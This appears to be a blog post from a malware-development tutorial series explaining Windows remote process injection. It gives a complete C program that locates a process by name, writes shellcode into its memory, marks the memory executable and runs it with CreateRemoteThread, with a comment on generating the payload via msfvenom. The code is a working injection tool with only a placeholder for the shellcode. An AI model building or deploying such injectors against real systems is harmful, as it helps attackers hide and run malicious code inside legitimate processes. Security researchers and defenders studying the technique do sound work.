965 words
5 minutes
0x02 - Process Injection Part II

From the part I of Process Injection blog, we used process ID (PID) as a argument to inject our shellcode. But to get PID, we had to rely on other tool like Process Hacker to find the PID of a target program. It had a few extra steps to get the job done. So today, instead of talking about a new technique, we’re going to improve our previous code. This time, we’ll use the process name instead of the process ID.

So, instead of manually finding the PID ourself, we can simply provide the program name like notepad.exe and let the program find the PID itself.

NOTE

Before we start, you might notice that I’m using wide-character functions like wmain, Process32FirstW, wcscmp, and wprintf. Windows APIs come in two versions ANSI (char, 8-bit) and Unicode (wchar_t, 16-bit). Both still work, but modern Windows mainly use Unicode internally. So it’s better to use the Unicode (wide-char) functions because they handle all languages properly and are the recommended standard today.

FindProcessId Function#

Let’s review our new function that find process ID of target program.

DWORD FindProcessId(const wchar_t* processname)
{
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
wprintf(L"!!! Failed to gather information on system processes!\n");
return 0;
}
do
{
if (wcscmp(processname, pe32.szExeFile) == 0)
{
result = pe32.th32ProcessID;
//wprintf(L"Process ID: %lu\n", result);
break;
}
} while (Process32NextW(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}

For this function, I took a reference from this stackoverflow post and make a little bit changes for our program.

Taking a Snapshots#

We declared the variables first.

HANDLE hProcessSnap;
PROCESSENTRY32W pe32; // see below about this structure
DWORD result = 0;

hProcessSnap is a HANDLE for CreateToolhelp32Snapshot. result will be the return data for PID.

First we call CreateToolhelp32Snapshot function for enumerating processes.

HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);

This API creates a snapshot of all running processes on the system. And we used TH32CS_SNAPPROCESS in here which can give us a list of all processes. When enumerating all the processes, the second parameter must be 0.

As per microsoft documentation, to get the first running process, we can use Process32First and for the rest of the processes, Process32Next will be required.

So to use Process32First and Process32Next, we will need one structure which is called PROCESSENTRY32W,

In case if you’re not familiar with structure, structure is a user defined data type that allows us to group variables of different data types under a single name. As you see above image, It’s like a folder, windows fills it with these informations.

  • Process ID
  • Parent process ID
  • Number of threads
  • Executable filename
  • etc..

That’s why we initialized PROCESSENTRY32W pe32; in this first place. And it is also recommend to check the size of the structure pe32.dwSize = sizeof(PROCESSENTRY32W);. Because if we didn’t, API call would fail if the structure changes in a future Windows update. We can access the struct data using dot (.) like pe32.th32ProcessID.

Then Process32FirstW try to get the first process

if (!Process32FirstW(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
wprintf(L"!!! Failed to gather information on system processes!\n");
return 0;
}

Once Process32FirstW succeeds, we can iterate through the remaining processes in the snapshot with Process32NextW using do while loop.

do
{
// comparing process name with our target, pe32.szExeFile is the process name from struct
if (wcscmp(processname, pe32.szExeFile) == 0)
{
// if found, target process ID will be saved in result
result = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hProcessSnap, &pe32)); // loop through until it's done
CloseHandle(hProcessSnap); // And close the handle

Full Source Code#

So our full code will be as shown below

ProcessInjection2.c
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char pShellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0 // REPLACE YOUR SHELLCODE HERE
};
DWORD FindProcessId(const wchar_t* processname)
{
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
wprintf(L"!!! Failed to gather information on system processes!\n");
return 0;
}
do
{
if (wcscmp(processname, pe32.szExeFile) == 0)
{
result = pe32.th32ProcessID;
//wprintf(L"Process ID: %lu\n", result);
break;
}
} while (Process32NextW(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
// we create a function called InjectRemoteProcess
BOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) {
// open process to specify Pid
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] OpenProcess to PID: %i \n", Pid);
// allocating memory into a specific process id that you supply
PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// write our shellcode into allocated memory
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
// change to PAGE_EXECUTE_READWRITE
DWORD dwOldProtection = NULL;
if (!VirtualProtectEx(hProcess, pShellcodeAddress, pShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// create new thread into remote process
printf("[i] Create remote thread to execute payload\n");
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pShellcodeAddress, NULL, 0, NULL);
if (hRemoteThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Done\n");
CloseHandle(hProcess);
CloseHandle(hRemoteThread);
return TRUE;
}
int wmain(int argc, wchar_t* argv[])
{
if (argc != 2) {
wprintf(L"Usage: %s <process_name.exe>\n", argv[0]);
return 1;
}
const wchar_t* pName = argv[1];
DWORD dwProcessID = FindProcessId(pName);
if (dwProcessID == 0) {
wprintf(L"[!] Process %ls not found.\n", pName);
return 1;
}
wprintf(L"\n[!] Process ID of %ls: %lu\n", pName, dwProcessID);
SIZE_T pShellcodeSize = sizeof(pShellcode);
// calling the function
if (!(InjectRemoteProcess(dwProcessID, pShellcode, pShellcodeSize))) {
return -1;
}
return 0;
}

Running the program#

Let’s just run the program with our target name.

0x02 - Process Injection Part II
https://k0shane.github.io/posts/maldev/0x2-process-injection-two/
Author
k0shane
Published at
2025-11-19
License
SHANE